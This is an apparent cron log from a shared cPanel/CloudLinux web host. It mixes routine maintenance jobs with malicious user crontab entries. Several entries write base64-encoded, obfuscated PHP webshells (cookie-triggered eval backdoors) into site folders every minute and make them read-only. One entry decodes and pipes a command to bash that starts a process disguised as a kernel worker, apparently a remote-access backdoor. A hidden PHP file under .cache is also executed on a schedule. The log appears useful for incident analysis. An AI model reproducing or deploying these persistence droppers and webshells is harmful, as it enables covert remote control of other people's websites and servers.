Mar  2 03:00:02 medusa CROND[14894]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14893]: (root) CMD (   bash -c "sleep $((RANDOM % 1800))" ;imunify-antivirus imunify-patch subscriptions refresh > /dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14900]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:00:02 medusa CROND[14902]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:00:02 medusa CROND[14907]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/clima/climaop/curl.php >/dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14906]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux-xray-plugin-check.cronlock /usr/share/lvemanager-xray/plugins/install-xray-plugin.py --check > /dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14912]: (root) CMD (/usr/bin/flock -n /var/run/cpapi_cache_upd_lock /opt/cloudlinux/venv/bin/python3 -c "from clcommon.cpapi import invalidate_cpapi_cache; invalidate_cpapi_cache()" &> /dev/null)
Mar  2 03:00:02 medusa CROND[14904]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cleanuserphpsessions.cronlock /usr/share/cagefs/clean_user_php_sessions)
Mar  2 03:00:02 medusa CROND[14914]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:00:02 medusa CROND[14905]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14919]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14923]: (dieg0fd) CMD (/usr/local/bin/php /home17/dieg0fd/public_html/wp-cron.php >/dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14920]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cagefs_exclude_users.cronlock /usr/share/cagefs/exclude_users_cleaner.py)
Mar  2 03:00:02 medusa CROND[14931]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:00:02 medusa CROND[14925]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:00:02 medusa CROND[14917]: (root) CMD (/nutscripts/control_exim.sh  >/dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14935]: (root) CMD (/usr/local/cpanel/3rdparty/bin/php -d disable_functions="" /usr/local/cpanel/whostmgr/docroot/cgi/softaculous/do_backups.php >> /dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14941]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:00:02 medusa CROND[14942]: (firadio) CMD (wget -q -O /dev/null http://firadio.com.ar/fiamigos/ow_cron/run.php > /dev/null)
Mar  2 03:00:02 medusa CROND[14944]: (artconc) CMD (/usr/local/bin/php /home13/artconc/public_html/apis/monedas/cron.php >/dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14934]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:00:02 medusa CROND[14967]: (servichina) CMD (php -q "/home4/servichina/public_html/wp-cron.php")
Mar  2 03:00:02 medusa CROND[14994]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:00:02 medusa CROND[14995]: (roble) CMD ({ echo L3Vzci9iaW4vcGtpbGwgLTAgLVUxMTc3IGRlZnVuY3QgMj4vZGV2L251bGwgfHwgU0hFTEw9IFRFUk09eHRlcm0tMjU2Y29sb3IgR1NfQVJHUz0iLWsgL2hvbWU4L3JvYmxlLy5jb25maWcvaHRvcC9kZWZ1bmN0LmRhdCAtbGlxRCIgL3Vzci9iaW4vYmFzaCAtYyAiZXhlYyAtYSAnW21tX3BlcmNwdV93cV0nICcvaG9tZTgvcm9ibGUvLmNvbmZpZy9odG9wL2RlZnVuY3QnIiAyPi9kZXYvbnVsbAo=|base64 -d|bash;} 2>/dev/null #1b5b324a50524e47 >/dev/random # seed prng defunct-kernel)
Mar  2 03:00:02 medusa CROND[14998]: (root) CMD (/nutscripts/check_mail_blocked.sh > /dev/null 2>&1)
Mar  2 03:00:02 medusa CROND[14996]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:00:02 medusa CROND[14958]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:00:02 medusa CROND[14952]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:00:02 medusa CROND[14966]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:01:01 medusa CROND[21884]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:01:01 medusa CROND[21985]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:01:01 medusa CROND[21984]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:01:01 medusa CROND[21987]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:01:01 medusa CROND[21988]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:01:01 medusa CROND[21992]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_kill_php_script.cronlock bash /usr/sbin/kill_php_script)
Mar  2 03:01:01 medusa CROND[21995]: (root) CMD (run-parts /etc/cron.hourly)
Mar  2 03:01:01 medusa CROND[21998]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:01:01 medusa CROND[22004]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:01:01 medusa CROND[22003]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:01:01 medusa CROND[22005]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:01:01 medusa CROND[22006]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:01:02 medusa CROND[22012]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:01:02 medusa CROND[22029]: (root) CMD (/usr/bin/flock -n /var/run/get_panel_users.cronlock /usr/sbin/getpaneluserscount &> /dev/null)
Mar  2 03:01:02 medusa run-parts(/etc/cron.hourly)[21995]: starting 0anacron
Mar  2 03:01:02 medusa anacron[22129]: Anacron started on 2026-03-02
Mar  2 03:01:02 medusa run-parts(/etc/cron.hourly)[22131]: finished 0anacron
Mar  2 03:01:02 medusa anacron[22129]: Will run job `cron.daily' in 40 min.
Mar  2 03:01:02 medusa anacron[22129]: Jobs will be executed sequentially
